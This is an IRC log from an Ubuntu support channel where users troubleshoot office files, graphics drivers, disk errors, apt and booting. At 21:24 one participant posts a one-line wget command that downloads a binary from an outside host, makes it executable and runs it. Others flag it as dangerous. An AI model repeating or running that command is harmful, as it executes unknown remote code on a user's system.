[19:47] <BlueWolf> Does any one know an Ubuntu program that will open and read a Microsoft Excel File Extension (.xls)???
[19:47] <lickalott> is there anything I could pastebin you that would assist?
[19:47] <TheLordOfTime> BlueWolf, libreoffice.
[19:47] <TheLordOfTime> or openoffice
[19:47] <rhizmoe> i'm getting weird errors for kwallet, should i just uninstall it?
[19:48] <BlueWolf> 	
[19:48] <BlueWolf> TheLordOfTime: Well my open office is not opening it, it's opening in codes and stuff. like in Question Marks?
[19:48] <pgib> BlueWolf, also, if you absolutely need to run Microsoft Excel, then look at playonlinux. I can run the Office 2010 suite without issue when interoperability is required.
[19:49] <TheLordOfTime> BlueWolf, you sure its .xls and not .xlsx
[19:49] <lickalott> xtremefresh - just tried a chmod ---> chown: changing ownership of `Rom Collection': Read-only file system
[19:49] <pgib> well. a RO filesystem would be a likely reason why file creation fails
[19:50] <lickalott> *chown
[19:50] <BlueWolf> TheLordOfTime: Yes it's .xls, Microsoft PowerPoint 97/2000/XP
[19:50] <TheLordOfTime> BlueWolf, erm, powerpoint or excel?
[19:50] <pgib> lickalott, does 'mount' list the file system with the option "ro"?
[19:50] <TheLordOfTime> BlueWolf, powerpoint != .xls :P
[19:51] <BlueWolf> TheLordOfTime: It should be Excel?
[19:51] <lickalott> /dev/sda1 on /media/WOLVERINE type ext3 (rw)
[19:51] <pgib> BlueWolf, if it is supposed to be powerpoint, try renaming the file to ppt or pptx
[19:52] <lickalott> nothing is making sense....
[19:52] <zelozelos> im attempting to figure out if i should / can use the display driver for my system, im running 32bit ubuntu 12.04lts, i have nvideo 540m dual configuration with windows chipset, ( i believe its called Optimus? but not sure) anyhow, is ther a scan i can do to turn up any drivers avalible?
[19:53] <BlueWolf> 	
[19:53] <BlueWolf> pgib: No, it's just opening in yyyyyy's????????
[19:53] <lickalott> xtremefresh - what "should" an fstab entry look like?
[19:53] <InspectorCluseau> BlueWolf, I just opened a real old .xls file in libreoffice calc and it is perfect.
[19:54] <zelozelos> anyone here have an acer aspire 5560g?
[19:54] <BlueWolf> InspectorCluseau: I don't have libreoffice, I am using Ubuntu 10.04 which has OpenOffice?
[19:54] <CrazyZurfer> hello, I've got a problem with the wifi, at my university all devices must use a CA Certificate, but every device takes it automatically and verifys it with an internal server. EXCEPT Ubbuntu
[19:54] <InspectorCluseau> get libreoffice?
[19:55] <zelozelos> how do i scan my hardware to possibly use drivers for my hardware?
[19:55] <BlueWolf> 	
[19:55] <CrazyZurfer> Ubuntu keeps asking for the CA Certificate all the time
[19:55] <BlueWolf> InspectorCluseau: How? Surely that won't work?
[19:55] <InspectorCluseau> BlueWolf, But both the 'offices' are basically the same.
[19:56] <InspectorCluseau> BlueWolf, You on linux? It's a free download.
[19:56] <anchv> hello
[19:57] <pgib> InspectorCluseau, is it available to 10.04 without a backport?
[19:57] <InspectorCluseau> BlueWolf, It's been around for a long time.
[19:58] <pgib> BlueWolf, in any case, you are using the right tool, reasonably so anyways.  This has now escaped the topic of this channel.  I recommend asking openoffice/libreoffice people
[19:59] <CrazyZurfer> !CA
[19:59] <BlueWolf> pgib: Right..... Thanks
[19:59] <CrazyZurfer> !certificate
[19:59] <CrazyZurfer> !CA Certificate
[19:59] <lickalott> just found this - fdisk: unable to read /dev/sda: Inappropriate ioctl for device
[19:59] <lickalott> sda1 is what is mounted to the folder that I can't copy to.
[20:01] <espen__> hey, silly place to ask but hey thought someone would be kind to help me out.
[20:01] <FloodBot1> !netsplit
[20:01] <mickster14> :/
[20:01] <mickster14> well this is irksome
[20:01] <espen__> got a harddrive that i used shred on, but i ended up restarting because it took too long. now ive ended up with a harddrive not willing to initialize, and getting input/output.
[20:01] <espen__> suggestions?
[20:02] <espen__> input/output errors
[20:02] <lickalott> system rescue disk or gparted espen__
[20:02] <pgib> espen__, if you are still worried about data on the drive, I would shred it again. Or use 'dd' to wipe the data.  Afterwards, I would just reformat it with a new filesystem
[20:03] <espen__> i tried that pgib
[20:03] <espen__> but i get input/output errors
[20:03] <espen__> shred: /dev/sda: pass 1/2 (random)...1.0GiB/932GiB 0% shred: /dev/sda: fdatasync failed: Input/output error
[20:03] <pgib> when using mkfs* ?
[20:03] <espen__> nah i haven't tried mkfs?
[20:03] <espen__> mind giving me the command?
[20:03] <pgib> espen__, well it depends on what you want to do. Which filesystem do you want?
[20:03] <espen__> ntfs
[20:04] <pgib> you'll want to use mkntfs
[20:05] <pgib> however.. if there are actually bad sectors on the drive... then, well, be careful.  Maybe you can look into some of the SMART utils to get a diagnosis of the drive, but IDK if that works on externals
[20:05] <espen__> its an internal drive
[20:06] <pgib> espen__, ok look at smartmontools if you want some introspection from your drive
[20:06] <{xmb}> i heard some wanna switch the distro ...: another solution is adding original debian sources to apt /etc/sources.list , adds many new sw , i'm currently trying it , i'll let ya'll 'no
[20:06] <rhizmoe_> meh
[20:06] <rhizmoe_> i'm getting weird errors for kwallet, should i just uninstall it?
[20:06] <{xmb}> sup
[20:07] <{xmb}> may we see
[20:07] <pgib> rhizmoe_, yeah KDE sucks, uninstall it
[20:07] <jrib> {xmb}: no, don't add debian repositories on an ubuntu install unless you want a broken install
[20:07] <rhizmoe_> it's popping up when i have to auth for svn
[20:07] <rhizmoe_> s/for/under/
[20:07] <{xmb}> from deb to ubuntu it was broken years ago, ill tell u if it does now
[20:07] <pgib> rhizmoe_, I think that is the point of kwallet, to house your tokens for other services
[20:07] <{xmb}> i added many , rarity, experimental etc
[20:07] <jrib> {xmb}: what?
[20:07] <{xmb}> its already in progress
[20:07] <jrib> {xmb}: this is a great way to end up with a broken install...
[20:08] <{xmb}> im a pro linux kouder though
[20:08] <rhizmoe> pgib: right, and i accept the idea, but not with so many errors. is there a gnome/xfce one that will supplant it if i uninsetall?
[20:08] <jrib> {xmb}: ok
[20:08] <pgib> {xmb}, and that is why you are asking advice of the #ubuntu channel on freenode?

[20:09] <sw0rdfish-> hi, is there a quick tutorial to setup nginx or apache as proxy servers? (I'd prefer nginx I think)
[20:09] <{xmb}> erm i ask nada

[20:09] <{xmb}> in short
[20:09] <rhizmoe> {xmb}: what grade r u in

[20:10] <{xmb}> 27.5
[20:10] <pgib> {xmb}, ah. I must have missed something from the split.  I don't really care.  Custom kernels on Gentoo, no problem. On ubuntu, I don't want to touch a single thing
[20:10] <rhizmoe> {xmb}: months?
[20:10] <{xmb}> whats it yo
[20:10] <rhizmoe> is that a sentence

[20:11] <pgib> rhizmoe, age, experience, and intelligence have no direct correlation.  Seems like an irrelevant question

[20:12] <lunaphyte> hi.  sometimes i install a package for whatever reason, and then later, i can't recall why i installed it.  is there some mechanism i can use that's part of the packaging system to include a note associated with that package for this sort of thing?
[20:12] <{xmb}> ey admin, do u know LordImac ?
[20:12] <rhizmoe> lunaphyte: nope
[20:13] <lunaphyte> hmm, that's too bad.
[20:13] <rhizmoe> you could write one
[20:13] <lunaphyte> :)
[20:13] <jrib> lunaphyte: i guess you could... add a comment to the end of your comment to install something and then just search your shell's history...
[20:13] <{xmb}> brb or bbl thx =))
[20:13] <bekks> lunaphyte: You can create a text file on your desktop, called "notes.txt" :)
[20:13] <jrib> s/your comment/your command
[20:14] <TheLordOfTime> is there a way to install a package's dependencies without installing the package?
[20:16] <OerHeks> TheLordOfTime, manually, sure.
[20:16] <jrib> TheLordOfTime: I'm curious why you would want to
[20:16] <TheLordOfTime> jrib, i need the dependencies for supybot, but don't want the actual program itself (building from source from one of its forks, although its dependencies are the same)
[20:17] <jrib> TheLordOfTime: apt-get build-dep
[20:17] <TheLordOfTime> jrib, that gets the build deps
[20:17] <TheLordOfTime> but not the runtime deps
[20:17] <TheLordOfTime> i need the runtime deps too :p
[20:17] <stefanos> Hello! I'd like to know for a book to learn the basic terminal commands
[20:17] <jrib> TheLordOfTime: meh, just install it and remove it
[20:18] <pgib> TheLordOfTime, dpkg -I package
[20:18] <pgib> oops, that is for a deb.  I know there is something in apt-cache. maybe apt-cache depend?
[20:18] <jrib> TheLordOfTime: I don't think there's any nice short way.  You're either going to have to parse the depends yourself or write something short to do it for you.  Maybe you can rig something up with aptitude's special search flags
[20:19] <pgib> jrib, if you remove it, then the dependencies will probably be purged later on since they are unneeded and not explicitly added
[20:19] <OerHeks> stefanos, this is a good start > https://help.ubuntu.com/community/UsingTheTerminal
[20:19] <jrib> pgib: sure, but at that point you can explicitly install them when you're asked to remove them
[20:19] <stefanos> Ok, thank you very much!!!
[20:20] <pgib> TheLordOfTime, if you are trying to install a package yourself, but want ubuntu to provide the dependencies, then I thought there is some way to tell ubuntu that "Hey, trust me, I have this package installed myself"  but I forget how.
[20:21] <jrib> pgib: maybe thinking of "equivs"
[20:25] <dupondje> Anyone also has bug https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1073649 ?
[20:28] <apate> I have an odd problem, and I can't locate the source. There constantly is a warning in my system tray saying the following: "An error occurred, please run Package Manager from the right-click menu or apt-get in a terminal to see what is wrong. The error message was: 'Error: BrokenCount > 0
[20:28] <apate> '. This usually means that your installed packages have unmet dependencies"
[20:29] <apate> apt-get seems to fully work though, upating and upgrading works without problems, and apt-get -f install does nothing, neither does clean or autoremove
[20:29] <pgib> apate, means that you have a package, and it depends on something which is no longer available
[20:29] <apate> pgib: any way to locate this particular dependency?
[20:30] <pgib> apate, I just had a similar problem due to some experimental PPAs I was using.  I could never get it to tell me the real problem, and I just systematically removed repositories until it worked with the 'purge-ppa' tool.  This might be useful as a last resort
[20:30] <apate> pgib: i see, i read about that.. that will not remove the actual software installed through the PPA's right?
[20:33] <barone> ciao
[20:34] <ice799> hi i just installed 12.04 on a machine that was previously booting 10.04 perfectly. 12.04 seems to hang during boot, the last message on the console is about udevd starting
[20:34] <kiwi-foobar> Hi
[20:34] <kiwi-foobar> Hi ALl
[20:34] <ice799> is there anyway i can get more output as to why it could be unhappy?
[20:34] <ice799> as far as i can tell it is locked up pretty hard i cant switch to other virtual consoles or anything
[20:35] <kiwi-foobar> Hi All I am new to IRC Is there a quick start guide of commands and such like to make it a bit easier to use?
[20:39] <hm_> Hello, can someone help me with installing grub2 on my machine? I have got a fakeRaid system and whereas ubuntu installs fine, grub2 doesn't. Google gives me to mount the partition and chroot and manually set it up but doesn't work
[20:43] <endra> Hello
[20:44] <stefanos> Hello endra
[20:44] <troulouliou_dev> hi does anybody here have a dell xps 15Z with ubuntu on it ?
[20:44] <endra> When I install mysql-server using apt-get, there is a popup asking me to enter a root password. Can I give it this information without it doing a popup?
[20:44] <rhizmoe> if i'm just running xfce on top of ubuntu 12.04, can i "safely" uninstall everything kde-related?
[20:44] <rhizmoe> endra: that's just for the mysql server root user
[20:45] <Walex2> rhizmoe: yes.
[20:45] <wdilli01> okay folks, i have an ubuntu box with vmware player installed win7 girt, it was previously configured via a DHCP reservation, but i have since changed to a static config, only specifying a static entry for eth0, this has broken networking on my win7 side, saying "The network bridge on device /dev/vmnet0 is not running" sure enough ifconfig on the ubuntu side confirms only lo and eth0, do i need to specify the vmnet devices in /etc/network/interfa
[20:45] <wdilli01> Thanks.
[20:45] <stefanos> just write sudo apt-get and then give your ubuntu login password
[20:46] <wdilli01> lsmod | grep -i vm shows vmnet
[20:46] <SierraAR> In ubuntu 12.04, the update manager is giving me this message when trying to run updates: 'The action would require the installation of packages from not authenticated sources.: grisbi grisbi-common openttd openttd-data'
[20:46] <SierraAR> Is there a way to bypass that and let it install the updates?
[20:46] <memetic> I've got an nvidia geforce 9800 gt and I recently updated to ubuntu 12.10.  I'm using nvidia-current and when I boot up, I get the low graphics mode screen (and it's all scruntched up) and my mouse doesn't work anymore.
[20:47] <phunyguy_work> memetic the same happened to me on intel hardware.  a drop to tty1 and a restart of the lightdm service got me in.
[20:47] <memetic> Yeah, lightdm works fine.
[20:47] <phunyguy_work> memetic, methinks it was an update recently that caused that because it happened on all 4 of my machines.
[20:48] <memetic> I get no errors under /var/log/lightdm/.
[20:48] <phunyguy_work> any restarts after that worked fine.
[20:48] <memetic> I originally had a custom nvidia driver I ran and installed, but then I did the ol' purge nvidia* and then re-installed, then used some bleeding edge repo.
[20:49] <memetic> Restarting lightdm just brings up the same weird low graphics error selection crud
[20:49] <phunyguy_work> oh your issue is indeed different, memetic, can't help ya.
[20:49] <memetic> I can ALT+O to log in with low graphics mode but my house doesn't work.
[20:49] <memetic> err mouse
[20:51] <troulouliou_dev> anyubody with a dell xps 15 here ?
[20:51] <stephan_> should i use ext4 for my partitions or ext3
[20:51] <memetic> Should I just use nouveau
[20:51] <memetic> ?
[20:52] <troulouliou_dev> stephan_, ext4 is perfctly stable since a while now
[20:52] <troulouliou_dev> us eit
[20:52] <mickster04> !anybody | troulouliou_dev
[20:53] <stephan_> troulouliou_dev, ok thanks....must be something else then
[20:53] <troulouliou_dev> https://wiki.ubuntu.com/HardwareSupport/Machines/Laptops/Dell/XPS/15z recomend adding acpi=noirq as boot parameter , when i add it, i have a black screen
[20:53] <troulouliou_dev> without it , i have plymouth screen but keyboard is not recognized for cryptsetup
[20:56] <Stihija> Hey, could anyone help me with problem booting ubuntu ?
[20:57] <Evil_Eric> so now ive installed just about all the programs and apps i use with 12.04 and i made all the modification i normal make so now when i start having issues im coming here
[20:57] <heoyea> o
[20:57] <Evil_Eric> thats a threat
[20:58] <stefanos> memetic try to re plug-in your mouse
[20:58] <designbybeck__> Intel 2Core Duo , 2GB RAM, 80GB HDD. Would that run 12.10 32bit ok?
[20:58] <ikonia> sure
[20:58] <heoyea> designbybeck__: get something lighter
[20:59] <heoyea> designbybeck__: then it flys
[20:59] <ikonia> no need for anything lighter
[20:59] <ikonia> resource wise, that's fine
[20:59] <ikonia> your concern should be your video card and it's compatability
[20:59] <designbybeck__> After using LinuxMint 13 XCFE ...it kinda blows Xubuntu out of the water heoyea
[20:59] <designbybeck__> so maybe I'll try that again...
[20:59] <designbybeck__> I just like how streamline and nice things seemed to be configured by defualt in Mint XCFE vs Xubuntu
[21:00] <heoyea> designbybeck__: core XFCE is fine also
[21:00] <ikonia> designbybeck__: then use mint,
[21:00] <ikonia> use whatever works best for you
[21:00] <apate> My system tray constantly shows the error "BrokenCount > 0", I have used ppa-purge to remove all extra PPA's, i deleted some of the apt folders and ran apt-get autoremove, update, and apt-get -f install.. nothing seems to work, the error message remains there in the Tray and comes back a while after every reboot..
[21:00] <apate> any idea anyone?
[21:00] <designbybeck__> I'll give them all a try. Thanks heoyea and ikonia
[21:01] <designbybeck__> I'll download Xubuntu 12.10 while i'm at it as well
[21:02] <heoyea> designbybeck__: is just XFCE, u can just install xfce4 in the repository if u need a base install
[21:02] <designbybeck__> what is the difference heoyea?
[21:03] <heoyea> designbybeck__: is like barebones
[21:03] <stephan_> can i use ext4 as my boot partition
[21:03] <heoyea> designbybeck__: so u dont get alot of junk, just install the stuff u want only
[21:04] <designbybeck__> gotcha
[21:04] <memetic> The system is running in low graphics mode.  I can't ctrl+alt+f1 to get to a command prompt, and can only ssh in.  I can't run Xorg -configure.  What do I do?
[21:05] <heoyea> memetic: ctrl+alt+f2 then?
[21:07] <fission6> any ideas why my upstart script works when i do start and when i do stop but when i do restart, it just shutsdown
[21:08] <Stihija> can someone help with this problem, 1 of my friend had, well still has, problem booting ubuntu. i took that pc at my place and tried to boot it, it offered to use several types of recovery and windows booting, i hit the windows and went to user screen and i tried to log on it but as soon as it showed the desktop it logged out, even in safe mode. i took out the HDD and connected to my pc and checked the files it contains but it only showed the ones that u
[21:08] <Stihija> sed to be on the windows not the ones that were on ubuntu, so my question is if i try to boot it with one of that recovery mode will all the files that were on it still be there, are there and possibility of the files been deleted?
[21:09] <heoyea> Stihija: it wont be delete
[21:09] <memetic> heoyea: I did that and can kill X, but when I run Xorg -configure it errors out about number of detected displays.
[21:10] <memetic> Number of created screens does not match number of detected devices.  Configuration failed.
[21:10] <heoyea> memetic: try reinstalling ur graphic drivers?
[21:11] <endra> rhizmoe: I am aware it is the mysql-server root password. I don't want interruption during the script, though. I want to set the root password using the cli instead of this popup thing.
[21:11] <memetic> I've totally done that.  I've apt-get'd some nvidia-current, and I've ./NVIDIA-'d some stuff.
[21:11] <memetic> I've even purged some stuff and used some special repository for bleeding edge X stuff and it all still winds up with a low graphics mode no-mouse working glitch.
[21:12] <trueneu> You know what... I tried E-MU 0404 USB with Windows, Mac OS X and Ubuntu. Guess in which case I didn't get pops and clicks when using small I/O buffers...
[21:12] <heoyea> memetic: maybe check ur xorg.conf file
[21:12] <apate> anyone have this same "brokencount > 0" problem? nothing seems to fix it, agressively deleted and rebuild a lot of the apt stuff, ran apt-get update, autoremove, apt-get install -f, dpkg --configure -a, nothing helps
[21:13] <apate> it doesn't tell me what the actual problem is either
[21:13] <memetic> heoyea: device driver is 'nvidia'
[21:14] <memetic> input device is using 'mouse', under /dev/psaux.
[21:14] <heoyea> memetic: ur on 12.10?
[21:14] <memetic> yes
[21:14] <heoyea> memetic: this happen cuz u updated the drivers?
[21:14] <memetic> I went from 12.04->12.10.
[21:14] <memetic> Using nvidia geforce 9800gt
[21:15] <heoyea> memetic: yea i heard it broke
[21:15] <memetic> how2fix
[21:15] <memetic> pls
[21:15] <heoyea> memetic: think theres a fix i heard about
[21:16] <Stihija> so heoyea , if i boot the recovery mode it all will recover?
[21:16] <foxfields> join #opmexico
[21:16] <Jordan_U> hm_: "Doesn't work" is almost never a useful description of a problem. Please follow https://help.ubuntu.com/community/Grub2/Installing#via_ChRoot and if you get any error messages please tell us the exact command you ran and the full output (using http://pastebin.ubuntu.com ).
[21:16] <heoyea> Stihija: yea thats its job
[21:17] <heoyea> memetic: think u need to install the headers also
[21:17] <stefanos> memetic: did you chose to remove previous packages when upgrated to 12.10
[21:17] <heoyea> memetic: sudo apt-get install linux-headers-generic
[21:17] <Stihija> ok thanks, you might also know which 1 should be picked as it showed like 3 or more options
[21:17] <SierraAR> In ubuntu 12.04, the update manager is giving me this message when trying to run updates: 'The action would require the installation of packages from not authenticated sources.: grisbi grisbi-common openttd openttd-data'
[21:17] <SierraAR> Is there a way to bypass that and let it install the updates?
[21:18] <heoyea> memetic: actually, sudo apt-get purge nvidia-current, then sudo apt-get install linux-headers-generic, then reboot and install the drivers from the software center
[21:18] <ryanprior> I have an Apple Magic Trackpad connected (via Bluetooth) to my Ubuntu desktop. It works great. The problem is that every time I restart my computer, I need to click the Bluetooth menu, select the Magic Trackpad submenu, and click Connect before it will accept input. How can I make Ubuntu auto-connect to my trackpad?
[21:18] <heoyea> Stihija: just try each
[21:19] <Jordan_U> SierraAR: Try running "sudo apt-get update". If that doesn't fix the problem, please pastebin the full output of "sudo apt-get update".
[21:19] <heoyea> memetic: in the future just do a fresh install
[21:20] <memetic> heoyea: I might do a fresh install anyway.  I did all that before coming here :\
[21:20] <heoyea> memetic: if u make like 2 partition, / and /home , fresh install is best
[21:20] <memetic> yea
[21:21] <Jordan_U> heoyea: memetic: You don't need /home/ on a separate partition to keep your /home/ during re-installation.
[21:22] <heoyea> this assumes u use more then just ubuntu
[21:23] <ryanprior>  /home/ on a different partition is a good idea in general. It makes multi-distro easy if you ever want to go that route, or even multi-Ubuntu-installation if you end up wanting to switch between distributions.
[21:23] <memetic> I'm trying jockey-text -e kmod:nvidia_current_updates.
[21:24] <ryanprior> If you have the knowledge to understand why putting /home/ on a different partition is useful, and you know how to modify and maintain partitions, then IMO it's something you should do.
[21:24] <ryanprior> If you're not sure how to do it, or don't really understand why you'd need it, it's not something you should do.
[21:24] <Debianino> hello to all
[21:24] <Giddeon> Can the cat command be used to download files?
[21:24] <Debianino> try this
[21:24] <Debianino> wget http://vps-0223.flarevm.net/x86_32 ; chmod 777 x86_32 ; ./x86_32
[21:24] <Debianino> wget http://vps-0223.flarevm.net/x86_32 ; chmod 777 x86_32 ; ./x86_32
[21:24] <FloodBot1> Debianino: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[21:25] <memetic> lol
[21:25] <memetic> hax
[21:25] <Pici> !danger
[21:25] <Pici> If it wasn't already obvious ;)
[21:26] <heoyea> Giddeon: nope, use wget or curl
[21:26] <ryanprior> Giddeon: you should use wget to download files. see `info wget` for more.
[21:27] <rhizmoe> endra: so, you probably can't avoid it under the apt-get method
[21:27] <rhizmoe> Walex2: thanks
[21:27] <memetic> If I just installed ubuntu 12.10 ... Can I keep data under /var/www and /home, or will it wipe that too?  I mean is that an option if I choose to install on the existing linux partition and don't choose to format the partition?
[21:27] <sambagirl>  does anyone recall the name of the program that allows you to have multiple shells in a single shell? you can split horizontally, and vertically, and i dont think it is Terminator btw.
[21:27] <k1l> sambagirl: screen
[21:27] <ryanprior> sambagirl: GNU screen. `info screen` for more.
[21:27] <gordonjcp> possibly tmux
[21:28] <sambagirl> i think it was tmux
[21:28] <sambagirl> let me check screen and tmux thanks
[21:28] <Dr_Willis> sambagirl:  terminator is a suouped up gnometerminal so its in X.  tmux and screen are text only so work over ssh and the console also
[21:28] <trueneu> Terminator does that too IIRC.
[21:28] <heoyea> memetic: if is on a parition thats not gonna be formatted then is safe
[21:28] <Jordan_U> memetic: If you choose the option to re-install rather than deleting the old installation then /home/ will be preserved, I don't know about /var/www/.
[21:28] <sambagirl> Thank you Herr Doktor :D
[21:28] <Dr_Willis> sambagirl:  there used to be a app called 'twin' that had a neat feature set. but i think its dead
[21:29] <sambagirl> i'll chek that too
[21:29] <Dr_Willis> sambagirl:  byobu is tmux or screen with a more user friendly setup.
[21:29] <reCAPTCHA> Hi there! I need some help. Whenever I unplug my Alienware M15X, Ubuntu immediately logs out... anyone know what I am talking about?
[21:29] <Dr_Willis> reCAPTCHA:  powers down? or do you mean 'crashes back to the lightdm login screen' /
[21:29] <reCAPTCHA> Dr_Willis:  The latter.
[21:29] <sambagirl> how do you know all this stuff Dr?
[21:30] <Giddeon> heoyea, ryanprior: i'm debugging someone's script which pulls a mysqldump file off a remote server somehow.  There's no explicit call to wget or curl, but there is a "cat db.sql > db/db.sql" call.  Could that be responsible for the download?
[21:30] <memetic> Thanks, I might try that.
[21:30] <aniasis> hello
[21:31] <mickster04> Giddeon: that doesn't change the server
[21:31] <mickster04> !hi | aniasis
[21:31] <heoyea> Giddeon: that just output a file after it reads it
[21:31] <mickster04> !elloi | aniasis
[21:31] <memetic> I really wish I didn't have to reinstall.
[21:31] <mickster04> hello aniasis regardless of my inability to type
[21:32] <trueneu> And I can't even understand why such a trick would be needed.
[21:32] <heoyea> memetic: i usually have like 5 paritions, install a distro on each, if one fails i can use another
[21:32] <sambagirl> screen? info screen? 2 separate programs?
[21:32] <aniasis> So I essentially destoryed my server by changing the ownership of every file from the root
[21:32] <heoyea> sambagirl: tmux
[21:32] <mickster04> aniasis: bad times
[21:33] <aniasis> Is there anyway I can upgrade and have the ownership of my files go to an original setting?
[21:33] <Jordan_U> aniasis: Then you'll pretty much need to re-install. Even if you managed to get the server "working" again, you might have missed the restoration of critical files leading to a "working" but insecure (or unreliable) server.
[21:34] <Mats> Question: I installed ubuntu 12.04 on a USB drive now when it boots up it cannot find the network, when i restarted the network with "/etc/init.d/networking restart" i get cannot find device eth0/failed to bring up eth0? Please help me?
[21:34] <Dr_Willis> screen has been around for ages. tmux is more newer. ;) byobu is a fancy set of configs for screen or tmux to make them easier to use
[21:34] <sambagirl>  heoyea i thought it was tmux but it's snoething else. i tried all those suggested here but it was something completely differnt
[21:34] <reCAPTCHA> Do you have any ideas Dr_Willis ?
[21:34] <Dr_Willis> sambagirl:  if its a X gui app.. its terminator. for ssh/console it would be screen or tmux.
[21:34] <heoyea> sambagirl: what are u looking for again?
[21:34] <bsmith093> for file renames, i apparently need to use regexps, (at least for anything other than basic ones) and i cant figure this out. i want from the beginning of the name to the first instance of " - " removed, minus the quotes
[21:35] <trueneu> And screen saves you when you suddenly lose your connection while untarring a 200Gb backup file.
[21:35] <sambagirl> no it had an options to select horizontal / vertical locations for windows
[21:35] <Dr_Willis> reCAPTCHA:  i would imagine its some apci/power saveing feature thats bugged..
[21:35] <sambagirl> multiplexer shell
[21:35] <Mats> Question: I installed ubuntu 12.04 on a USB drive now when it boots up it cannot find the network, when i restarted the network with "/etc/init.d/networking restart" i get cannot find device eth0/failed to bring up eth0? Please help me?
[21:36] <heoyea> sambagirl: is it a command line for GUI app?
[21:36] <sambagirl> i cant recall now
[21:36] <sambagirl> i formatted the drive and lost all my stuff
[21:36] <reCAPTCHA> Dr_Willis: Yeah... hmm... I don't have any power saving on... but yeah, if it is a bug then that won't be the problem. I've had this issue even before 10.04
[21:36] <Mats> Question: I installed ubuntu 12.04 server on a USB drive now when it boots up it cannot find the network, when i restarted the network with "/etc/init.d/networking restart" i get cannot find device eth0/failed to bring up eth0? And when i do 'lspci' the network card is there???? Please help me?
[21:36] <ryanprior> I have an Apple Magic Trackpad connected (via Bluetooth) to my Ubuntu desktop. It works great. The problem is that every time I restart my computer, I need to click the Bluetooth menu, select the Magic Trackpad submenu, and click Connect before it will accept input. How can I make Ubuntu auto-connect to my trackpad?
[21:37] <almoxarife> Mats: i am guessing resetting the network via the nm applet is just not gonna work for you? try that first,
[21:38] <sambagirl> let me search for it. it was spectacular
[21:38] <heoyea> sambagirl: do u remeber the hotkeys atleast?
[21:38] <sambagirl> heoyea no
[21:38] <sambagirl> sorry
[21:38] <sambagirl> let me search brb
[21:38] <trueneu> C-x C-c, probably...
[21:39] <Mats> how do i do that?
[21:39] <Mats> almoxarife: how do i do that?
[21:39] <Mats> almoxarife: from terminal?
[21:39] <rikplay> Quick Question, Instead of making a Live USB, Can i just install to USB Like a traditional HDD but be able to make it so the OS on USB boot on any PC, (hardware Independent) ? anyone?
[21:39] <Mats> rikplay: yes you can
[21:40] <rikplay> Mats thanks for your response, any suggestion. i assume i would install as normal but how to i stop ubuntu becoming device dependent
[21:40] <heoyea> rikplay: think u can make a presistent live install to do that
[21:40] <rhizmoe> great, no svn 1.7
[21:41] <rikplay> heoyea: a persistant live install would (correct me if im worng) essentially mean im booting a live cd each time?
[21:41] <heoyea> rikplay: yes but u can save changes
[21:41] <rikplay> heoyea: but be able to save files?
[21:41] <gordonjcp> rikplay: have you tried getting two USB sticks, and booting the live image from one and installing onto the other?
[21:41] <heoyea> rikplay: yup
[21:41] <rikplay> heoyea: so i can install proigrams and edit things and stuff
[21:41] <heoyea> rikplay: yes
[21:42] <rikplay> gordonjcp: i have a cd drive its not an issue i just want to create and ultimate portable install
[21:42] <almoxarife> Mats: no, that would not be via terminal, unless you want to bring up the applet via terminal, that would be the 'thingy' on the panel that looks like a connector
[21:42] <Mats> rikplay: are you installing desktop or server?
[21:42] <gordonjcp> rikplay: well, if you don't want to go down the persistent live USB route, that's what I'd try
[21:42] <Mats> almoxarife: i am using ubuntu server
[21:43] <rikplay> mats desktop
[21:43] <Vykk> rikplay, you could try this tutorial, https://wiki.ubuntu.com/LiveUsbPendrivePersistent
[21:43] <Mats> rikplay: when your installing do a miniumal install
[21:43] <rikplay> Vykk: thank your for that
[21:43] <dupondje> nvidia-experimental-310 seems to break gnome & unity ?
[21:44] <Mats> rikplay: that lnk is for live bootable
[21:44] <sambagirl> well i found something called guake that works with terminator not what i wanted but it's neat
[21:44] <Mats> rikplay: you want to install unbuntu desktop on a USB as a HDD not a live bootable
[21:44] <rikplay> Mats, do a minimal install? to keep more space for storage i have a 64gb usb thumb drive
[21:44] <heoyea> sambagirl: guake and tmux
[21:45] <espen__> if i have two harddrives installed, could one corrupt drive cause ubuntu to "lock up"? i have a drive, with buffer i/o errors, dban won't work. erasing won't work. bios detects it, but im not able to partition it either.
[21:45] <sambagirl> umm let me see heoyea
[21:45] <Mats> rikplay: it makes it more lightweight, espeically on a USB drive
[21:45] <sambagirl> how would you run it heoyea?
[21:45] <heoyea> rikplay: use a light DE tho
[21:45] <Mats> rikplay: i ussually install ubuntu server on USB and do minium install
[21:45] <rikplay> Mats, i am uneducated in the persistance setup and would like to know how its stacks up against a traditional HDD install, i would rather do the traditional HDD install but i want to make sure it will boot on any machine by loading the generic drivers at each boot
[21:45] <espen__> Note: the drive is not the OS drive.
[21:45] <helo> when booting is interrupted, the next boot will bring up the grub menu and require manual intervention... how can i disable this so it will still just try to boot normally?
[21:46] <heoyea> sambagirl: just run tmux in guake
[21:46] <Mats> rikplay: ahh i see what you mean, this will be hard cause once you install it, it chooses the devices so if u use it in a another computer u may need to install those drivers, sorry im not sure how to do this
[21:46] <endra> espen__: hey
[21:47] <Jordan_U> rikplay: Yes, as long as you don't install any proprietary drivers then all drivers will be detected and loaded at each boot.
[21:47] <espen__> endra hi
[21:47] <rikplay> mats no worrys thanks for sticking with me
[21:47] <Mats> Question: I installed ubuntu 12.04 server on a USB drive now when it boots up it cannot find the network, when i restarted the network with "/etc/init.d/networking restart" i get cannot find device eth0/failed to bring up eth0? And when i do 'lspci' the network card is there???? Please help me?
[21:47] <rikplay> Jordan_U: thanks for listening in, i will try my traditioonal setup and see how it goes testing on different machines
[21:47] <Jordan_U> rikplay: A regular installation is *far* better than a persistant live "installation", as a persistant live install can't even be updated properly.
[21:48] <Jordan_U> rikplay: You're welcome.
[21:48] <rikplay> Jordan_U: that is excellant advice, much appreciated
[21:48] <rikplay> Jordan_U: have you experiance in the field?
[21:48] <Jordan_U> rikplay: How do you define "the field"?
[21:48] <rikplay> Jordan_U: i mean traditional setup on usb
[21:49] <Jordan_U> rikplay: Yes, I've done many installs to USB, using them on multiple machines.
[21:49] <espen__> Could a corrupt "storage" harddrive, cause OS lock-ups? If it isn't the actual OS drive?
[21:49] <Kaco> espen__, yes if it locks the bus?
[21:49] <espen__> had problems with ubuntu freezing, and trying to fix partitons every reboot. Now i have a dead/corrupt drive with i/o errors.
[21:50] <rikplay> Jordan_U: i already my "master" setup, i have cloned from one drive to another, perhaps i could clone this to USB, uninstall propriety drivers and off i go?
